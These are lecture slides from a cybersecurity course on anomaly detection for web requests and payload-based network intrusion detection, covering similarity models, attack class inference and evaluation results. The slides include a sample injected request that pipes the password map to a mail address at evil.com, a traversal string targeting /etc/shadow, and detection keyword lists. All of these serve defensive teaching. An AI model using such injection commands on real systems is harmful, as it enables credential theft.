CS259D: Data Mining for Cybersecurity
Anomaly detection for web security: Example

128.111.41.15 "GET /cgi-bin/purchase?
    itemid=1a6f62e612&cc=mastercard" 200
128.111.43.24 "GET /cgi-bin/purchase?itemid=61d2b836c0&cc=visa" 200
128.111.48.69 "GET /cgi-bin/purchase?
    itemid=a625f27110&cc=mastercard" 200
131.175.5.35 "GET /cgi-bin/purchase?itemid=7e2877b177&cc=amex" 200
161.10.27.112 "GET /cgi-bin/purchase?itemid=80d2988812&cc=visa" 200
...

128.111.11.45 "GET /cgi-bin/purchase?itemid=109agfe111;ypcat%20passwd|mail
    %20wily@evil.com" 200
Anomaly detection for web security

- Pro: Can adapt to ad-hoc nature of web apps
- Con: Large number of false positives
- Con: Poor characterization of attack causing anomaly
Solution: Design

- **Anomaly generalization**
  - Group similar anomalies together
  - Administrator analyzes each group
    - If false positives: Filter
    - If instances of attack: Generate anomaly signature

- **Attack characterization**
  - Types of exploitations follow specific rules
Solution: Architecture
Anomaly detection

- **Input:** URLs of successful GET requests
  - Partitioned based on web application

- **Multiple models**
  - Each associated with an attribute
  - Combined via a linear

- **Anomaly score = linear combination of model outputs**
Anomaly detection: Models (reminder)

- Attribute length
  - Chebyshev inequality

- Character distribution
  - ICD: Sorted frequencies of 256 chars; Pearson test
  - Typical queries: human readable; Slow drop off
  - Malicious queries: Either fast drop-off or little drop off

- Structural inference
  - Probabilistic grammar

- Token finder
  - Flags/indices
Anomaly generalization

- Goal: detect variations of detected anomalies
  - Not same as misuse detection
- Idea: Relax detection parameters for anomalous attributes
Anomaly generalization: Attribute length

- Similarity operator:

\[ \psi_{\text{attrlen}}(l_{\text{obs}}, l_{\text{orig}}) \equiv \left| \frac{\sigma^2}{(l_{\text{obs}} - \mu)^2} - \frac{\sigma^2}{(l_{\text{orig}} - \mu)^2} \right| < d_{\text{attr}} \]
Anomaly generalization: Character distribution

- Sharp drop-off:
  - Extract set of dominating characters
    \[ C = \{(c_1, f_1), (c_2, f_2), \ldots, (c_m, f_m)\} \]
  - Compare \( C_{\text{obs}} \), \( C_{\text{orig}} \): If they share at least one char and are similar:
    \[
    \psi_{\text{cdist}} = \min \left\{ \| f_{\text{obs}, i} - f_{\text{orig}, i} \| : (c_{\text{obs}, i}, f_{\text{obs}, i}) \in C_{\text{obs}}, (c_{\text{orig}, i}, f_{\text{orig}, i}) \in C_{\text{orig}}, c_{\text{obs}, i} = c_{\text{orig}, i} \right\} < d_{\text{cdist}}
    \]
Anomaly generalization: Character distribution

- Little drop-off: close to uniformly random distribution
- Similarity test:

\[
\psi_{cdist} = \max \left\{ |f_{obs,i} - f_{orig,i}| : (c_{obs,i}, f_{obs,i}) \in C_{obs}, (c_{orig,i}, f_{orig,i}) \in C_{orig} \right\} < d_{cdist}
\]
Anomaly generalization: Structural inference

- Extract prefix up to and including first grammar-violating character
  - Intuition: Prefix shared by attacks against same app

- Mapping:
  - “a” for all lower-case alphabetic chars
  - “A” for all upper-case alphabetic chars
  - “0” for all numeric chars
  - All other chars unchanged

- Similarity operator:

\[ \psi_{structure}(s_{obs}, s_{orig}) \equiv s_{obs,i} = s_{orig,i} \quad (\forall 0 \leq i \leq m) \]
Example

128.111.41.15 "GET /cgi-bin/purchase?
    itemid=1a6f62e612&cc=mastercard" 200
128.111.43.24 "GET /cgi-bin/purchase?itemid=61d2b836c0&cc=visa" 200
128.111.48.69 "GET /cgi-bin/purchase?
    itemid=a625f27110&cc=mastercard" 200
131.175.5.35 "GET /cgi-bin/purchase?itemid=7e2877b177&cc=amex" 200
161.10.27.112 "GET /cgi-bin/purchase?itemid=80d2988812&cc=visa" 200
...

128.111.11.45 "GET /cgi-bin/purchase?itemid=109agfe111;ypcat%20passwd|mail
    %20wily@evil.com" 200

- Grammar for itemid: [a | 0]+
- Extracted Prefix: 000aaaa000;
Anomaly generalization: Token finder

- Given a lexicographic similarity function \( \text{lex} \):

\[
\psi_{\text{token}} \equiv \text{lex}(l_{\text{obs}}, l_{\text{orig}})
\]

- Example similarity functions:
  - String equality: Hamming distance
  - \( \text{lex} = \text{True} \)

- Example:
  - cc always in \{mastercard, visa, amex\}
  - Identify identical violations of cc attribute
Attack Class Inference

- Challenge: Anomalies hard for human analysts to interpret
- Observation: Attack classes violate anomaly models in consistent ways
  - Use consistencies to provide hints to analyst
- Compared with misuse detection
  - Difference: Class inference only applied to anomalous events
  - Advantage: Class inference can be less precise
- Families of attacks
  - Directory traversal
  - Cross-site scripting
  - SQL injection
  - Buffer overflow
Directory traversal

- Unauthorized access to files on web server
  - Use “.” and “/”
- Inference activation:
  - Character distribution: dominating char set C intersecting {“.”, “/”}
  - Structural inference: prefix ending in “.” or “/”
- Attack inference:
  - Scan anomalous attribute value for regex (/|\.|\.)+
- Example:
  - Itemid = “cat .. '/../etc/shadow”
  - Char distribution model detects high count of . and /
  - Structural inference model detects anomalous structure
  - Attack inference matches (/|\.|\.)+ & detects directory traversal
Cross site scripting

- Execute malicious code on client-side machine
- Typical violations: structural inference, character distribution, token finder
  - Insertion of HTML tags
  - Use of client-side scripting code as content
- Attack inference: scan for JavaScript or HTML fragments
  - “script”, “<”, “>”
SQL Injection

- Unauthorized modifications to SQL queries
  - Escape an input to a query parameter
- Typical violation: attribute structure
- Attack inference:
  - Scan attribute value for SQL keywords (e.g., SELECT, INSERT, UPDATE, DELETE, ‘, --)
Buffer overflow

- Send a large amount of data
  - overflow a buffer
  - overwrite return address, data, function pointers, sensitive variables
- Significant deviation from normal profiles
- Inference activation: character distribution, structural inference, attribute length
- Attack inference:
  - Scan attribute string for binary values (ASCII chars > 0x80)
**Evaluation: False positive rate**

<table>
<thead>
<tr>
<th>Data set</th>
<th>Queries</th>
<th>False positives</th>
<th>False Positive Rate</th>
<th>Groups</th>
<th>Grouped False Positive Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>TU Vienna</td>
<td>737,626</td>
<td>14</td>
<td>$1.90 \times 10^{-5}$</td>
<td>2</td>
<td>$3.00 \times 10^{-6}$</td>
</tr>
<tr>
<td>UCSB</td>
<td>35,261</td>
<td>513</td>
<td>$1.45 \times 10^{-2}$</td>
<td>3</td>
<td>$8.50 \times 10^{-5}$</td>
</tr>
</tbody>
</table>
Evaluation: False positive rate

- **Example groups:**
  - Custom web app developer passing invalid value to an attribute during testing procedures
    - Alerts generated by attribute length model
  - Anomalous queries to whois.pl user lookup script
    - name = dean+of+computer+science
      - Alerts generated by char distribution model (anomalous # “e”)
    - showphone = YES
      - Alerts generated by token finder model (expected yes/no)
## Evaluation: Attack classification

<table>
<thead>
<tr>
<th>Attack</th>
<th>Detected?</th>
<th>Variations</th>
<th>Groups</th>
<th>Alerting Models</th>
<th>Characterization</th>
</tr>
</thead>
<tbody>
<tr>
<td>csSearch</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length, Char. Distribution</td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td>htmlscript</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length, Structure</td>
<td>Directory traversal</td>
</tr>
<tr>
<td>imp</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length, Char. Distribution</td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td>phorum</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length, Char. Distribution, Token</td>
<td>Buffer overflow</td>
</tr>
<tr>
<td>phpmuek</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length, Structure</td>
<td>SQL injection</td>
</tr>
<tr>
<td>webwho</td>
<td>Yes</td>
<td>10</td>
<td>1</td>
<td>Length</td>
<td>None</td>
</tr>
</tbody>
</table>
Evaluation: Detection performance

<table>
<thead>
<tr>
<th>Data set</th>
<th>Requests</th>
<th>Request Rate</th>
<th>Elapsed Analysis Time</th>
<th>Analysis Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>TU Vienna</td>
<td>737,626</td>
<td>0.107095 req/sec</td>
<td>934 sec</td>
<td>788.06 req/sec</td>
</tr>
<tr>
<td>UCSB</td>
<td>35,261</td>
<td>0.001360 req/sec</td>
<td>64 sec</td>
<td>550.95 req/sec</td>
</tr>
</tbody>
</table>
Anomalous Payload-based Network Intrusion Detection

- Goal: Detect first occurrences of zero-day worms or new malicious codes delivered via network
  - Signatures not effective
  - Slow/stealthy worm propagation can avoid bursts in network traffic flows or probes
  - Requires payload based detection
Payload modeling: Targeted design criteria

1. Automatic “hands-free” deployment
2. Broad application to any service/system
3. Incremental update
4. Low error rates
5. Efficient real-time operation

- Question: Good criteria?
Payload modeling: Length-conditioned n-gram model

- Cluster streams
  - Port number
    - Proxy for application: 22 for SSH, 80 for http, etc.
  - Packet length range
    - Proxy for type of payload
      - Example: larger payloads contain media or binary data
  - Direction of stream (inbound/outbound)

- Measurement: n-gram frequencies
  - Length \( L \): frequency = \# of occurrences/\((L-n+1)\)
  - Use \( n = 1 \): 256 ASCII characters

- Features: mean and variance of each frequency
Example
Incremental Learning

- Can adapt to Concept Drift
- Use streaming measurements for mean and standard deviation
Mahalanobis Distance

\[ d^2(x, \bar{y}) = (x - \bar{y})^T C^{-1} (x - \bar{y}) \]

\[ C_{ij} = \text{Cov}(y_i, y_j) \]
Simplifications:
- Naïve assumption: Byte frequencies independent
- Replace variance with standard deviation
- Add a smoothing factor
  - Captures statistical confidence in sampled training data

\[ d(x, \overline{y}) = \sum_{i=0}^{m-1} \frac{|x_i - \overline{y}_i|}{\overline{\sigma}_i + \alpha} \]
Reduced model size: Clustering

• Problem:
  ◦ Similar distributions for near lengths
  ◦ Insufficient training data for some lengths

• Solution:
  ◦ Merge neighboring models if distance < $t$
  ◦ For lengths not observed in training data
    ◦ Use closest length range
    ◦ Alert on unusual length
Unsupervised learning

• Assumption: Attacks are rare and their payload distribution is substantially different from normal traffic

• Remove training data noise:
  ◦ Apply the learned models to training data
  ◦ Remove anomalous training samples
  ◦ Update models
Signature generation: Z-string
Evaluation

- 1999 DARPA IDS dataset
- CUCS dataset
- Smoothing factor = 0.001
- Data units
  - Full packet
  - First 100 bytes of packet
  - Last 100 bytes of packet
  - Full connection
  - First 1000 bytes of connection
Evaluation

![Graph showing Mahalanobis Distance vs packets with payload length 1460.

- Code Red II
- Buffer Overflow

Legend:
- Normal packets
- Attack packets

<table>
<thead>
<tr>
<th>Code Red II (first 20 characters)</th>
</tr>
</thead>
<tbody>
<tr>
<td>88</td>
</tr>
<tr>
<td>100</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Buffer Overflow (all)</th>
</tr>
</thead>
<tbody>
<tr>
<td>65</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Centroid (first 20 characters)</th>
</tr>
</thead>
<tbody>
<tr>
<td>48</td>
</tr>
<tr>
<td>59</td>
</tr>
</tbody>
</table>
Evaluation

- Malformed HTTP requests:
  - crashiis
    - GET ../..
  - apache2
    - Repeated “User-Agent:sioux\r\n”
Detection rate (FP<1%)

<table>
<thead>
<tr>
<th>Model</th>
<th>Detection Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Per Packet Model</td>
<td>57/97 (58.8%)</td>
</tr>
<tr>
<td>First 100 Packet Model</td>
<td>55/97 (56.7%)</td>
</tr>
<tr>
<td>Tail 100 Packet Model</td>
<td>46/97 (47.4%)</td>
</tr>
<tr>
<td>Per Conn Model</td>
<td>55/97 (56.7%)</td>
</tr>
<tr>
<td>Truncated Conn Model</td>
<td>51/97 (52.6%)</td>
</tr>
</tbody>
</table>
Issues

- Curse of dimensionality
- Spurious features
- Not robust against adversaries
- No focused scope
References

• “Using Generalization and Characterization Techniques in the Anomaly-based Detection of Web Attacks”, Robertson et al., 2006
• Anomalous payload-based network intrusion detection, Wang-Stolfo 2004